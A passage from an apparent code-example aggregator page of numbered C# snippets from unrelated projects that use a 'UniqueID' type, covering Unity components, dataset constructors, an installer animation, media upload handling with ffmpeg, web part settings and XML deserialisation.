     get { return(particles[key]); }
     set { particles[key] = value; }
 }
Ejemplo n.º 20
0
 void Awake()
 {
     unique_id = GetComponent <UniqueID>();
 }
Ejemplo n.º 21
0
 public override int GetHashCode() => DocumentGUID.GetHashCode() ^ UniqueID.GetHashCode();
Ejemplo n.º 22
0
            // Dataset ID
            /// <summary>
            /// Create a Ensemble data set.  This will create a blank dataset.  The user must fill in the data for all
            /// the important values.
            /// </summary>
            public EnsembleDataSet()
                : base(DataSet.Ensemble.DATATYPE_INT,                         // Type of data stored (Float or Int)
                            NUM_DATA_ELEMENTS,                              // Number of elements
                            DataSet.Ensemble.DEFAULT_NUM_BEAMS_NONBEAM,     // Element Multiplier
                            DataSet.Ensemble.DEFAULT_IMAG,                  // Default Image
                            DataSet.Ensemble.DEFAULT_NAME_LENGTH,           // Default Image length
                            DataSet.Ensemble.EnsembleDataID)
            {
                // Set the ensemble number to the default ensemble number
                EnsembleNumber = DEFAULT_ENS_NUM;

                // Set time to the current time
                SetTime();

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);

                // Set the number of beams
                //NumBeams = numBeams;

                // Set the number of bins
                //NumBins = numElements;

                // Use a blank serial number
                SysSerialNumber = new SerialNumber();

                // Create blank firmware
                SysFirmware = new Firmware();

                // Create Blank Subsystem configuration
                SubsystemConfig = new SubsystemConfiguration();

                // Create a blank status
                Status = new Status(0);
            }
Ejemplo n.º 23
0
 private void SceneLoadHandler(UniqueID destination, GameData gameData)
 {
     transform.position = UniqueComponent.Find(destination)?.transform.position ?? Vector3.zero;
     gameObject.SetActive(true);
     fsm.Transition <Idle>();
 }
Ejemplo n.º 24
0
        private void IntroTimer_Tick(object sender, EventArgs e)
        {
            switch (phase)
            {
            case 0:
                IntroTimer.Stop();
                IntroTimer.Interval = 10;
                phase = 1;
                IntroTimer.Start();
                break;

            case 1:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50));
                if (count >= 50)
                {
                    count             = 0;
                    WelcomeLabel.Text = "Please enter your Unique ID";
                    UniqueID.Visible  = true;
                    UniqueID.Focus();
                    phase = 2;
                }
                break;

            case 2:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50));
                UniqueID.ForeColor     = WelcomeLabel.ForeColor;
                if (count >= 50)
                {
                    phase = 3;
                    count = 0;
                    IntroTimer.Stop();
                }
                break;

            case 3:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50));
                if (count >= 50)
                {
                    count             = 0;
                    WelcomeLabel.Text = "Just a second...";
                    phase             = 4;
                }
                break;

            case 4:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50));
                if (count >= 50)
                {
                    phase = 5;
                    count = 0;
                    IntroTimer.Stop();
                    ValidateID();
                }
                break;

            case 5:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50), (int)FloatLerp(255, 32, (float)count / 50));
                UniqueID.ForeColor     = Color.FromArgb(255, (int)FloatLerp(Color.LightGreen.R, 32, (float)count / 50), (int)FloatLerp(Color.LightGreen.G, 32, (float)count / 50), (int)FloatLerp(Color.LightGreen.B, 32, (float)count / 50));
                if (count >= 50)
                {
                    phase             = 6;
                    WelcomeLabel.Text = "Starting Installation...";
                    Controls.Remove(UniqueID);
                    count = 0;
                }
                break;

            case 6:
                count++;
                WelcomeLabel.ForeColor = Color.FromArgb(255, (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50), (int)FloatLerp(32, 255, (float)count / 50));
                if (count >= 50)
                {
                    phase = 7;
                    Controls.Remove(UniqueID);
                    StatusMessage.Visible = false;
                    count = 0;
                    Commence();
                }
                break;

            case 7:
                count++;
                if (count < 50)
                {
                    BackColor = Color.FromArgb(255, (int)FloatLerp(CurrentColor.R, NextColor.R, (float)count / 50), (int)FloatLerp(CurrentColor.G, NextColor.G, (float)count / 50), (int)FloatLerp(CurrentColor.B, NextColor.B, (float)count / 50));
                }
                else
                {
                    phase = 8;
                }
                break;

            case 8:
                count++;
                if (count >= 250)
                {
                    count = 0;
                    colorindex++;
                    if (colorindex >= RandomColors.Count)
                    {
                        colorindex = 0;
                    }
                    phase = 7;
                }
                break;
            }
        }
Ejemplo n.º 25
0
 private void SceneLoaded(UniqueID destination, GameData gameData)
 {
     this.gameData = gameData;
 }
Ejemplo n.º 26
0
        // <summary>
        /// Lawrence: This method appears to be obselete and was used as an interim solution for video encoder...
        /// </summary>
        /// <returns></returns>
        public static void ProxyProcessVideo(Stream FLVStream, Member member, string UNCPathToUserDirectory, string VideoTitle)
        {
            if (VideoTitle.Length > 35)
            {
                VideoTitle = VideoTitle.Substring(0, 35);
            }

            string VideoFileName = UniqueID.NewWebID() + ".flv";

            string SavePath = UNCPathToUserDirectory + member.NickName + @"\video\" + VideoFileName;

            int Length = 256;

            Byte[] buffer    = new Byte[256];
            int    bytesRead = FLVStream.Read(buffer, 0, Length);

            FileStream fs = new FileStream(SavePath, FileMode.Create);

            // write the required bytes
            while (bytesRead > 0)
            {
                fs.Write(buffer, 0, bytesRead);
                bytesRead = FLVStream.Read(buffer, 0, Length);
            }

            FLVStream.Close();

            fs.Flush();
            fs.Close();

            ResourceFile VideoResourceFile = new ResourceFile();

            VideoResourceFile.WebResourceFileID = UniqueID.NewWebID();
            VideoResourceFile.FileName          = VideoFileName;
            VideoResourceFile.Path         = @"/" + member.NickName + @"/video/";
            VideoResourceFile.ResourceType = (int)ResourceFileType.Video;
            VideoResourceFile.Save();


            Process FFMpegProcess;

            FFMpegProcess = new System.Diagnostics.Process();

            string ThumbnailName     = UniqueID.NewWebID();
            string ThumbnailSavePath = OSRegistry.GetDiskUserDirectory() + member.NickName + @"\vthmb\";

            if (ThumbnailName.Length > 21)
            {
                ThumbnailName = ThumbnailName.Substring(0, 20);
            }

            string FullSavePath = ThumbnailSavePath + ThumbnailName;
            string arg          = "-i " + SavePath + " -an -ss 00:00:07 -t 00:00:01 -r 1 -y -s 160x120 " + FullSavePath + "%d.jpg";
            string cmd          = @"c:\ffmpeg.exe";

            FFMpegProcess = System.Diagnostics.Process.Start(cmd, arg);
            FFMpegProcess.WaitForExit();
            FFMpegProcess.Close();


            //ffmpeg must add a 1 to the end of the file
            ThumbnailName += "1.jpg";

            ResourceFile ThumbnailResourceFile = new ResourceFile();

            ThumbnailResourceFile.WebResourceFileID = UniqueID.NewWebID();
            ThumbnailResourceFile.FileName          = ThumbnailName;
            ThumbnailResourceFile.Path         = member.NickName + @"/vthmb/";
            ThumbnailResourceFile.ResourceType = (int)ResourceFileType.VideoThumbnail;
            ThumbnailResourceFile.Save();

            Video video = new Video();

            video.MemberID                = member.MemberID;
            video.WebVideoID              = UniqueID.NewWebID();
            video.Title                   = VideoTitle;
            video.Description             = "No Description";
            video.DTCreated               = DateTime.Now;
            video.VideoResourceFileID     = VideoResourceFile.ResourceFileID;
            video.ThumbnailResourceFileID = ThumbnailResourceFile.ResourceFileID;
            video.Save();

            // update the number of photos
            MemberProfile memberProfile = member.MemberProfile[0];

            memberProfile.NumberOfVideos++;
            memberProfile.Save();
        }
Ejemplo n.º 27
0
 protected override void OnUnregisterParticle(UniqueID uid, IAether particle)
 {
     System.Diagnostics.Debug.Assert(particle is ILeptonNode);
     //_engine.RemoveChild(Root, (ILeptonNode)particle);
 }
Ejemplo n.º 28
0
        public static NSpot ProcessNSpotPhoto(Member member, NSpot nSpot, Image image)
        {
            Database      db          = DatabaseFactory.CreateDatabase();
            DbConnection  conn        = db.CreateConnection();
            DbTransaction Transaction = null;

            try
            {
                conn.Open();
                Transaction = conn.BeginTransaction();

                string GlobalWebID = UniqueID.NewWebID();
                string FileName    = GlobalWebID + @".jpg";

                // create the large photo
                // just store the large image.. dont make a resource record
                System.Drawing.Image MainImage = Photo.Resize480x480(image);
                string Savepath = member.NickName + @"\" + "nslrge" + @"\" + FileName;
                Photo.SaveToDisk(MainImage, Savepath);

                //create the medium
                ResourceFile PhotoResourceFile = new ResourceFile();
                PhotoResourceFile.CreatedDT         = DateTime.Now;
                PhotoResourceFile.WebResourceFileID = GlobalWebID;
                PhotoResourceFile.ResourceType      = (int)ResourceFileType.NspotPhoto;
                PhotoResourceFile.Path     = member.NickName + "/" + "nsmed" + "/";
                PhotoResourceFile.FileName = FileName;
                PhotoResourceFile.Save(db);
                System.Drawing.Image MediumImage = Photo.Resize190x130(MainImage);
                Photo.SaveToDisk(MediumImage, PhotoResourceFile.SavePath);

                //create the thumbnail
                ResourceFile ThumbnailResourceFile = new ResourceFile();
                ThumbnailResourceFile.CreatedDT         = DateTime.Now;
                ThumbnailResourceFile.WebResourceFileID = GlobalWebID;
                ThumbnailResourceFile.ResourceType      = (int)ResourceFileType.NspotThumbnail;
                ThumbnailResourceFile.Path     = member.NickName + "/" + "nsthmb" + "/";
                ThumbnailResourceFile.FileName = FileName;
                ThumbnailResourceFile.Save(db);
                System.Drawing.Image ThumbnailImage = Photo.ResizeTo124x91(MediumImage);
                Photo.SaveToDisk(ThumbnailImage, ThumbnailResourceFile.SavePath);

                // attached the resource ids to the photos
                nSpot.ThumbnailResourceFileID = ThumbnailResourceFile.ResourceFileID;
                nSpot.PhotoResourceFileID     = PhotoResourceFile.ResourceFileID;

                nSpot.Save(db);

                Transaction.Commit();
            }
            catch (Exception ex)
            {
                Transaction.Rollback();
                throw ex;
            }
            finally
            {
                conn.Close();
            }

            return(nSpot);
        }
Ejemplo n.º 29
0
 protected override void OnUnregisterParticle(UniqueID uid, IAether particle)
 {
     System.Diagnostics.Debug.Assert(particle is IChronon);
     Root.Remove((IChronon)particle);
 }
Ejemplo n.º 30
0
        public override string ToString()
        {
            if (IsNull)// || (!IsLoaded()))
            {
                throw new System.ArgumentException("ToString failed, this is null or not loaded", "this");
            }
            else
            {
                string retStr = UniqueID.ToString();

                if (HoldingUser == null)
                {
                    retStr += mDelim + "0";
                }
                else
                {
                    retStr += mDelim + HoldingUser.UniqueID.ToString();
                }

                if (EventOwner == null)
                {
                    retStr += mDelim + "0";
                }
                else
                {
                    retStr += mDelim + EventOwner.UniqueID.ToString();
                }

                if (ItemOwner == null)
                {
                    retStr += mDelim + "0";
                }
                else
                {
                    retStr += mDelim + ItemOwner.UniqueID.ToString();
                }

                retStr += mDelim + UserPermissions.Count.ToString();
                for (int i = 0; i < UserPermissions.Count; i++)
                {
                    retStr += mDelim + UserPermissions[i].UserBase.UniqueID.ToString();
                    retStr += mDelim + ((int)UserPermissions[i].HoldingPermission).ToString();
                }

                retStr += mDelim + HoldingTypes.Count.ToString();
                for (int i = 0; i < HoldingTypes.Count; i++)
                {
                    retStr += mDelim + HoldingTypes[i].ToString();
                }

                retStr += mDelim + AllowOverBooking.ToString();

                retStr += mDelim + Scalable.ToString();

                retStr += mDelim + NeedsOwnerApprovel.ToString();

                retStr += mDelim + ((int)HoldingApprovel).ToString();

                return(retStr);
            }
        }
Ejemplo n.º 31
0
 protected override void OnLoad(EventArgs e)
 {
     base.OnInit(e);
     _jsObjName = String.IsNullOrEmpty(ID) ? "advancedUserSelector" + UniqueID.Replace('$', '_') : ID;
     RegisterStartupScripts(Page, this);
 }
Ejemplo n.º 32
0
 public void DeleteAllPrefabPools()
 {
     Generator.PoolManager.DeletePools(UniqueID.ToString() + "_");
 }
        protected string GetPlyAttributeName(UniqueID id)
        {
            var a = plyAttributes.FirstOrDefault(o => o.id.Value.ToString() == id.Value.ToString());
            if (a == null || a.def == null)
                return string.Empty;

            return a.def.screenName;
        }
Ejemplo n.º 34
0
 public AetherEngineData()
 {
     UniqueIdCounter = 0;
     NextUniqueID    = UniqueID.Initial;
     TotalTime       = 0;
 }
        public override BlockReturn Run(BlockReturn param)
        {
            if (graph == null)
            {
                if (graphString != null)
                {
                    string s = graphString.RunAndGetString();
                    if (string.IsNullOrEmpty(s))
                    {
                        Log(LogType.Error, "Graph name/ ident is not set.");
                        return BlockReturn.Error;
                    }

                    if (identType == DiaQIdentType.CutomIdent) graph = DiaQEngine.Instance.graphManager.GetGraphByIdent(s);
                    else graph = DiaQEngine.Instance.graphManager.GetGraphByName(s);

                    if (graph == null)
                    {
                        Log(LogType.Error, string.Format("Graph with {0} = {1} could not be found.", identType, s));
                        return BlockReturn.Error;
                    }
                }
                else
                {
                    if (id == null) id = new UniqueID(graphId.id);
                    graph = DiaQEngine.Instance.graphManager.GetGraph(id);
                    if (graph == null)
                    {
                        Log(LogType.Error, "Could not find the specified Graph. You might have removed it without updating the Block.");
                        return BlockReturn.Error;
                    }
                }
            }

            DiaQEngine.Instance.graphManager.BeginGraph(graph);

            if (!cacheTarget) graph = null;
            return BlockReturn.OK;
        }
Ejemplo n.º 36
0
        void OnWizardCreate()
        {
            UniqueID.ClearAll(GameObject.FindObjectsOfType <UniqueID>());

            EditorSceneManager.MarkSceneDirty(EditorSceneManager.GetActiveScene());
        }
Ejemplo n.º 37
0
 /// <summary>
 /// Serves as a hash function for a particular type.
 /// </summary>
 /// <returns>
 /// A hash code for the current <see cref="T:System.Object"/>.
 /// </returns>
 public override int GetHashCode()
 {
     return(UniqueID != null ? UniqueID.GetHashCode() : 0);
 }
Ejemplo n.º 38
0
        // Public Methods (1) 

        /// <summary>
        ///     Called when the user clicks the OK or the Apply button in the tool pane.
        /// </summary>
        public override void ApplyChanges()
        {
            var myWorkWebPart = (MyWorkWebPart)ParentToolPane.SelectedWebPart;

            string uniqueId = UniqueID.Md5();

            string useCentralizedSettings  = Page.Request.Form[string.Format(@"cbUseCentralizedSettings_{0}", uniqueId)];
            string performanceMode         = Page.Request.Form[string.Format(@"cbPerformanceMode_{0}", uniqueId)];
            string showToolbar             = Page.Request.Form[string.Format(@"cbShowToolbar_{0}", uniqueId)];
            string daysAgoEnabled          = Page.Request.Form[string.Format(@"cbDaysAgo_{0}", uniqueId)];
            string daysAfterEnabled        = Page.Request.Form[string.Format(@"cbDaysAfter_{0}", uniqueId)];
            string newItemIndicatorEnabled = Page.Request.Form[string.Format(@"cbNewItemIndicator_{0}", uniqueId)];
            string daysAgo             = Page.Request.Form[string.Format(@"tbDaysAgo_{0}", uniqueId)];
            string daysAfter           = Page.Request.Form[string.Format(@"tbDaysAfter_{0}", uniqueId)];
            string newItemIndicator    = Page.Request.Form[string.Format(@"tbNewItemIndicator_{0}", uniqueId)];
            string hideNewButton       = Page.Request.Form[string.Format(@"cbHideNewButton_{0}", uniqueId)];
            string allowEditToggle     = Page.Request.Form[string.Format(@"cbAllowEditToggle_{0}", uniqueId)];
            string defaultToEditMode   = Page.Request.Form[string.Format(@"cbDefaultToEditMode_{0}", uniqueId)];
            string selectedLists       = Page.Request.Form[string.Format(@"tbLists_{0}", uniqueId)];
            string myWorkSelectedLists = Page.Request.Form[string.Format(@"selectedMyWorkLists_{0}", uniqueId)];
            string selectedFields      = Page.Request.Form[string.Format(@"selectedFields_{0}", uniqueId)];
            string crossSiteUrls       = Page.Request.Form[string.Format(@"tbCrossSiteUrls_{0}", uniqueId)];
            string defaultGlobalView   = Page.Request.Form[string.Format(@"defaultGlobalViews_{0}", uniqueId)];

            myWorkWebPart.UseCentralizedSettings = !string.IsNullOrEmpty(useCentralizedSettings) &&
                                                   useCentralizedSettings.Equals("on");
            myWorkWebPart.PerformanceMode = !string.IsNullOrEmpty(performanceMode) && performanceMode.Equals("on");
            myWorkWebPart.ShowToolbar     = !string.IsNullOrEmpty(showToolbar) && showToolbar.Equals("on");

            string daysAgoValue   = string.Empty;
            string daysAfterValue = string.Empty;

            if (!string.IsNullOrEmpty(daysAgo))
            {
                string text = daysAgo.Trim();
                int    days;
                if (int.TryParse(text, out days))
                {
                    if (days > 0)
                    {
                        daysAgoValue = text;
                    }
                }
            }

            if (!string.IsNullOrEmpty(daysAfter))
            {
                string text = daysAfter.Trim();
                int    days;
                if (int.TryParse(text, out days))
                {
                    if (days > 0)
                    {
                        daysAfterValue = text;
                    }
                }
            }

            string dayFilters =
                string.Format("{0}|{1}|{2}|{3}", !string.IsNullOrEmpty(daysAgoEnabled) && daysAgoEnabled.Equals("on"),
                              daysAgoValue, !string.IsNullOrEmpty(daysAfterEnabled) && daysAfterEnabled.Equals("on"),
                              daysAfterValue).ToLower();

            myWorkWebPart.DueDayFilter = dayFilters;

            string daysIndicator = string.Empty;

            if (!string.IsNullOrEmpty(newItemIndicator))
            {
                string text = newItemIndicator.Trim();
                int    days;
                if (int.TryParse(text, out days))
                {
                    if (days > 0)
                    {
                        daysIndicator = text;
                    }
                }
            }

            myWorkWebPart.NewItemIndicator =
                string.Format("{0}|{1}",
                              !string.IsNullOrEmpty(newItemIndicatorEnabled) && newItemIndicatorEnabled.Equals("on"),
                              daysIndicator).ToLower();

            myWorkWebPart.HideNewButton     = !string.IsNullOrEmpty(hideNewButton) && hideNewButton.Equals("on");
            myWorkWebPart.AllowEditToggle   = !string.IsNullOrEmpty(allowEditToggle) && allowEditToggle.Equals("on");
            myWorkWebPart.DefaultToEditMode = !string.IsNullOrEmpty(defaultToEditMode) && defaultToEditMode.Equals("on");

            myWorkWebPart.MyWorkSelectedLists = myWorkSelectedLists.Split(',');

            myWorkWebPart.SelectedLists = selectedLists.Replace("\r\n", ",").Split(',')
                                          .Select(list => SPEncode.HtmlEncode(list.Trim()))
                                          .ToList()
                                          .Distinct()
                                          .Where(list => !myWorkWebPart.MyWorkSelectedLists.Contains(list))
                                          .ToArray();

            myWorkWebPart.SelectedFields = selectedFields.Split(',');

            myWorkWebPart.CrossSiteUrls =
                crossSiteUrls.Replace("\r\n", "|").Split('|').Select(site => SPEncode.HtmlEncode(site.Trim())).ToList().
                Distinct().ToArray();

            myWorkWebPart.DefaultGlobalView = defaultGlobalView;
        }
 public plyGameAttributeDatabaseModel(UniqueID id, string category, bool show)
 {
     this.ID = id;
     this.category = category;
     this.show = show;
 }
Ejemplo n.º 40
0
 protected PrefabPool GetPrefabPool(GameObject prefab)
 {
     return(Generator.PoolManager.GetPrefabPool(UniqueID.ToString() + "_" + prefab.name, prefab));
 }
Ejemplo n.º 41
0
        private void ReadParticle(out UniqueID uid, out IAether particle)
        {
            uid      = new UniqueID();
            particle = null;
            string elementName = reader.Name;

            //read attribute
            string particleName = string.Empty;
            string typeName     = string.Empty;

            while (reader.MoveToNextAttribute())
            {
                switch (reader.Name)
                {
                case "UID": uid.Load(this);
                    break;

                case "Name": particleName = reader.ReadContentAsString();
                    break;

                case "Type": typeName = reader.ReadContentAsString();
                    break;
                }
            }
            reader.MoveToElement();
            bool isEmptyElement = reader.IsEmptyElement;

            reader.ReadStartElement();

            if (elementName == "AetherParticleRef")
            {
                particle = deserialisedParticles[uid];
            }
            else if (elementName == "AetherParticle")
            {
                if (Engine.ContainsName(particleName))
                {
                    //TOD: is this even possible?
                    //isn't it a bug to deserialize an object using a name for cache key?
                    //System.Diagnostics.Debug.Assert(false);
                    particle = Engine[particleName];
                }
                else
                {
                    particle = TypeResolver.CreateInstance(typeName);
                }

                if (!uid.Equals(UniqueID.Unknown))
                {
                    deserialisedParticles.Add(uid, particle);
                }

                //particle = (IAetherParticle)FormatterServices.GetUninitializedObject(particleType); //this behaves the same the build in Serialisation. Not available on WP7
                IAetherSerialization serialisableParticle = particle as IAetherSerialization;
                if (serialisableParticle != null)
                {
                    serialisableParticle.Load(this);
                }

                particle = TypeResolver.Convert(particle);
                deserialisedParticles[uid] = particle; // update converted particle

                if (particleName != string.Empty)
                {
                    Engine.SetParticleName(particle, particleName);
                }

                if (!isEmptyElement)
                {
                    reader.ReadEndElement();
                }
            }

            return;
        }
Ejemplo n.º 42
0
        protected override void OnLoad(EventArgs e)
        {
            base.OnLoad(e);
            _jsObjName = String.IsNullOrEmpty(ID) ? "pageNavigator" + UniqueID.Replace('$', '_') : ID;

            if (HttpContext.Current != null && HttpContext.Current.Request != null && AutoDetectCurrentPage)
            {
                if (!String.IsNullOrEmpty(HttpContext.Current.Request[this.ParamName]))
                {
                    try
                    {
                        CurrentPageNumber = Convert.ToInt32(HttpContext.Current.Request[this.ParamName]);
                    }
                    catch
                    {
                        CurrentPageNumber = 0;
                    }
                }
            }

            if (CurrentPageNumber <= 0)
            {
                CurrentPageNumber = 1;
            }

            var scriptNav = String.Format(@"window.{0} = new ASC.Controls.PageNavigator.init('{0}', 'body', '{1}', {2}, {3}, '{4}', '{5}');",
                                          _jsObjName,
                                          EntryCountOnPage,
                                          VisiblePageCount,
                                          CurrentPageNumber,
                                          UserControlsCommonResource.PreviousPage,
                                          UserControlsCommonResource.NextPage);

            Page.RegisterInlineScript(scriptNav, onReady: false);


            _page_amount = Convert.ToInt32(Math.Ceiling(EntryCount / (EntryCountOnPage * 1.0)));
            _start_page  = CurrentPageNumber - 1 - VisiblePageCount / 2;

            if (_start_page + VisiblePageCount > _page_amount)
            {
                _start_page = _page_amount - VisiblePageCount;
            }

            if (_start_page < 0)
            {
                _start_page = 0;
            }

            _end_page = _start_page + VisiblePageCount;

            if (_end_page > _page_amount)
            {
                _end_page = _page_amount;
            }

            if ((_page_amount == 1 && VisibleOnePage) || _start_page >= _end_page || _end_page - _start_page <= 1)
            {
                return;
            }

            var spliter = "&";

            if (PageUrl.IndexOf("?") == -1)
            {
                spliter = "&";
            }

            var isFirst = (CurrentPageNumber == 1);
            var isLast  = (CurrentPageNumber == _page_amount);

            var prevURL = PageUrl + spliter + ParamName + "=" + (CurrentPageNumber - 1).ToString();
            var nextURL = PageUrl + spliter + ParamName + "=" + (CurrentPageNumber + 1).ToString();

            var script = @"document.onkeydown = function(e)
                            {
                                var code;
                                if (!e) var e = window.event;
                                if (e.keyCode) code = e.keyCode;
                                else if (e.which) code = e.which;" +

                         ((!isFirst) ?
                          @"if ((code == 37) && (e.ctrlKey == true))
                                {
                                    window.open('" + prevURL + @"','_self');
                                }" : "") +

                         ((!isLast) ?
                          @"if ((code == 39) && (e.ctrlKey == true))
                                {
                                    window.open('" + nextURL + @"','_self');
                                }" : "") +
                         @"}; ";

            Page.RegisterInlineScript(script, onReady: false);
        }
Ejemplo n.º 43
0
            /// <summary>
            /// Create a Ensemble data set.  This will create a blank dataset.  The user must fill in the data for all
            /// the important values.
            /// </summary>
            /// <param name="valueType">Whether it contains 32 bit Integers or Single precision floating point </param>
            /// <param name="numElments">Number of Elements.</param>
            /// <param name="elementMultiplier">Element Multipliers.</param>
            /// <param name="imag"></param>
            /// <param name="nameLength">Length of name</param>
            /// <param name="name">Name of data type</param>
            /// <param name="numBins">Number of Bin</param>
            /// <param name="numBeams">Number of beams</param>
            public EnsembleDataSet(int valueType, int numElments, int elementMultiplier, int imag, int nameLength, string name, int numBins, int numBeams)
                : base(valueType, numElments, elementMultiplier, imag, nameLength, name)
            {
                // Set the ensemble number to the default ensemble number
                EnsembleNumber = DEFAULT_ENS_NUM;

                // Set time to the current time
                SetTime();

                // Create UniqueId
                UniqueId = new UniqueID(EnsembleNumber, EnsDateTime);

                // Set the number of beams
                NumBeams = numBeams;

                // Set the number of bins
                NumBins = numBins;

                // Use a blank serial number
                SysSerialNumber = new SerialNumber();

                // Create blank firmware
                SysFirmware = new Firmware();

                // Create Blank Subsystem configuration
                SubsystemConfig = new SubsystemConfiguration();

                // Create a blank status
                Status = new Status(0);
            }